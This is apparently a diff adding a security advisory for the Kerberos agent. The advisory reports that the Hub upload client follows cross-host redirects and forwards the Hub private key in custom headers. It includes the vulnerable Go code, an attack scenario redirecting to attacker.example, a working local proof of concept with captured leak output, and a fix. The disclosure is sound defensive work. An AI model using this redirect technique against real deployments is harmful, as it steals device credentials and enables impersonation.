+ "details": "### Summary\n\nThe Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).\n\n### Impact\n\nThe Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device.\n\n### Vulnerable code (file:line)\n\n`machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`):\n\n```go\n\t// Check if we are allowed to upload to the hub with these credentials.\n\t// There might be different reasons like (muted, read-only..)\n\treq, err := http.NewRequest(\"HEAD\", config.HubURI+\"/storage/upload\", nil)\n\tif err != nil {\n\t\terrorMessage := \"UploadKerberosHub: error reading HEAD request, \" + config.HubURI + \"/storage: \" + err.Error()\n\t\tlog.Log.Error(errorMessage)\n\t\treturn false, true, errors.New(errorMessage)\n\t}\n\n\treq.Header.Set(\"X-Kerberos-Storage-FileName\", fileName)\n\treq.Header.Set(\"X-Kerberos-Storage-Capture\", \"IPCamera\")\n\treq.Header.Set(\"X-Kerberos-Storage-Device\", config.Key)\n\treq.Header.Set(\"X-Kerberos-Hub-PublicKey\", config.HubKey)\n\treq.Header.Set(\"X-Kerberos-Hub-PrivateKey\", config.HubPrivateKey) // line 63\n\treq.Header.Set(\"X-Kerberos-Hub-Region\", config.S3.Region)\n\n\tvar client *http.Client\n\tif os.Getenv(\"AGENT_TLS_INSECURE\") == \"true\" {\n\t\ttr := &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t\tclient = &http.Client{Transport: tr}\n\t} else {\n\t\tclient = &http.Client{} // line 73 — no CheckRedirect\n\t}\n\n\tresp, err := client.Do(req)\n```\n\n`HubURI` is operator configuration:\n\n```go\nHubURI string `json:\"hub_uri\" bson:\"hub_uri\"`\n```\n\n### Attack scenario\n\n1. An operator configures the agent with a `hub_uri`.\n2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`.\n3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`.\n4. The attacker captures the Hub credentials.\n\n### Proof of concept\n\nDriver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect.\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/kerberos-io/agent/machinery/src/cloud\"\n\t\"github.com/kerberos-io/agent/machinery/src/models\"\n)\n\nfunc installResolver(mapping map[string]string) {\n\ttr := http.DefaultTransport.(*http.Transport).Clone()\n\ttr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\thost, _, _ := net.SplitHostPort(addr)\n\t\tif target, ok := mapping[host]; ok {\n\t\t\taddr = target\n\t\t}\n\t\treturn (&net.Dialer{}).DialContext(ctx, network, addr)\n\t}\n\thttp.DefaultTransport = tr\n}\n\nfunc main() {\n\tvar mu sync.Mutex\n\tvar sawPriv, sawPub string\n\tattacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tmu.Lock()\n\t\tsawPriv = r.Header.Get(\"X-Kerberos-Hub-PrivateKey\")\n\t\tsawPub = r.Header.Get(\"X-Kerberos-Hub-PublicKey\")\n\t\tmu.Unlock()\n\t\tfmt.Printf(\"[attacker host %s] received %s %s\\n\", r.Host, r.Method, r.URL.Path)\n\t\tfmt.Printf(\"[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\\n\", r.Host, r.Header.Get(\"X-Kerberos-Hub-PrivateKey\"))\n\t\tw.WriteHeader(200)\n\t}))\n\tdefer attacker.Close()\n\n\tlegit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Printf(\"[legit host %s] received %s %s -> 302 to attacker.example\\n\", r.Host, r.Method, r.URL.Path)\n\t\thttp.Redirect(w, r, \"http://attacker.example\"+r.URL.Path, http.StatusFound)\n\t}))\n\tdefer legit.Close()\n\n\tinstallResolver(map[string]string{\n\t\t\"legit.example\": strings.TrimPrefix(legit.URL, \"http://\"),\n\t\t\"attacker.example\": strings.TrimPrefix(attacker.URL, \"http://\"),\n\t})\n\n\tos.MkdirAll(\"data/recordings\", 0o755)\n\tos.WriteFile(\"data/recordings/clip.mp4\", []byte(\"FAKEMP4DATA\"), 0o644)\n\n\tcfg := &models.Configuration{\n\t\tConfig: models.Config{\n\t\t\tHubURI: \"http://legit.example\", // operator-configurable base URL\n\t\t\tHubKey: \"PUBLIC-KEY-12345\",\n\t\t\tHubPrivateKey: \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\",\n\t\t\tKey: \"device-key\",\n\t\t},\n\t}\n\tcfg.Config.S3.Region = \"us-east-1\"\n\t_, _, _ = cloud.UploadKerberosHub(cfg, \"clip.mp4\")\n\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PrivateKey = %q\\n\", sawPriv)\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PublicKey = %q\\n\", sawPub)\n}\n```\n\n### End-to-end reproduction\n\nPinned to `github.com/kerberos-io/agent/machinery@v3.6.25`. Verbatim `kerberos_hub.go` from that tag. Captured stdout:\n\n```\nlegit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1)\nattacker host (cross-origin) = http://attacker.example (-> 127.0.0.1)\ncalling cloud.UploadKerberosHub then client.Do\n[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)\n[INFO] UploadKerberosHub: Upload started for clip.mp4\n[legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example\n[attacker host attacker.example] received HEAD /storage/upload\n[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example] X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)\n[legit host legit.example] received POST /storage/upload -> 302 to attacker.example\n[attacker host attacker.example] received GET /storage/upload\n[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example] X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload Finished, 200 OK.\n----- RESULT -----\nattacker host saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\nattacker host saw X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\nLEAK CONFIRMED: hub private key forwarded to cross-origin redirect target\n----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) -----\nattacker saw Authorization = \"\" (stdlib strips standard auth header cross-host)\nattacker saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\" (custom header NOT stripped -> the bug)\n```\n\nThe negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded — confirming the leak is specific to the custom-named auth header.\n\n### Suggested fix\n\nSet a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host:\n\n```go\ncheckRedirect := func(req *http.Request, via []*http.Request) error {\n\tif len(via) > 0 && req.URL.Host != via[0].URL.Host {\n\t\treq.Header.Del(\"X-Kerberos-Hub-PrivateKey\")\n\t\treq.Header.Del(\"X-Kerberos-Hub-PublicKey\")\n\t}\n\treturn nil\n}\nclient = &http.Client{CheckRedirect: checkRedirect}\n```\n\nA regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it.\n\n### Fix PR\n\nA fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork.\n\n### Credit\n\nReported by tonghuaroot.",
0 commit comments